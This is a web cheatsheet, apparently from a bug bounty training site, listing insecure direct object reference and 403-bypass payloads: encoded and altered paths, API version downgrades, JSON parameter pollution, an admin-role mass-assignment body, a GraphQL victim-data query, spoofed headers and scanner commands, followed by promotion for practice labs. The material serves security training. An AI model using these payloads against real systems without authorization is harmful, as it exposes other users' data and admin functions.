IDOR Cheatsheet

Insecure Direct Object Reference

Quick reference

→IDOR exists because the layer that authorizes and the layer that processes read the input differently
→Encoded space (%20) is the technique with the highest success rate, per research
→Always try API version downgrade: v5 -> v4, v3, v2, v1
→UUID v1 is predictable if you know the approximate timestamp — only v4 has high entropy
→Look for leaked IDs in other API responses, Referrer headers and signup flows

Low-noise techniques

Trailing slash

/api/v5/users/99/

Double slash

/api/v5//users//99

Subpath variantsAlso try: /details, /info, /summary, /export

/api/v5/users/99/profile

Query param vs pathDifferent parsing code paths

/users?id=99

Multi-ID filterList endpoints usually have weaker protection

?ids[]=100&ids[]=99

Version downgrade and format

API version downgradeOlder versions may lack modern ACLs

/api/v2/users/99

Type confusion - string

/users/"99"

Leading zeros

/users/099

Hexadecimal0x63 = 99 in hexadecimal

/users/0x63

Encoded space (most successful)The technique with the highest real success rate

/users/99%20

Null byte

/users/99%00

Composite (combine)Version downgrade + encoded space + trailing slash

/api/v2/users/99%20/

Parameter manipulation

JSON parameter pollutionThe backend may take the second value

{"userid":1234,"userid":2542}

Wrap ID with array

{"userid":[123]}

Wrap ID with object

{"userid":{"userid":123}}

Mass assignment - role

{"username":"test","role":"admin","isVerified":true}

GraphQL IDOR

query { user(id: "victim-id") { email role personalData } }

Type confusion (object ID swap)Swap the expected ID type for another type

page_id=USER_ID

403 bypass with headers

X-Original-URL

X-Original-URL: /api/v5/admin/100

X-Forwarded-For

X-Forwarded-For: 127.0.0.1

X-Custom-IP-Authorization

X-Custom-IP-Authorization: 127.0.0.1

X-Rewrite-URL

X-Rewrite-URL: /admin

X-HTTP-Method-OverrideChange the HTTP method via header

X-HTTP-Method-Override: PUT

403 bypass with URL encoding

Path with dot

/admin/.

Path with semicolon

/admin;/

Path with double encoding

/admin%252f

Path with %2e

/%2e/admin

Path with null byte

/admin%00.json

Case manipulation

/ADMIN

Path traversal and back

/admin/./../../admin

Tools

Autorize (Burp)

Burp extension that auto-detects IDOR by comparing sessions

Burp Suite > Extensions > Autorize > Configure cookies

bypass-403

Automatically tries multiple 403 bypass techniques

python3 bypass-403.py https://target.com/admin

Arjun

Discovers hidden HTTP parameters on API endpoints

arjun -u https://target.com/api/endpoint

Ready to practice?

Put these payloads to work in real labs based on bug bounty reports.

See practice labs

hunters training: 650
labs from real reports: 50
completions: 380
in bounties practiced: $200,000

40 flags captured this week·Real reports from HackerOne · Bugcrowd · Intigriti·No commitment·Free Academy

BBLabs · bug bounty training

Stop reading about bugs and start hunting them

Create your free account and practice on labs based on real reports that paid out thousands of euros. The Academy is free forever.

Create free account See the labs

No card · free Academy · cancel anytime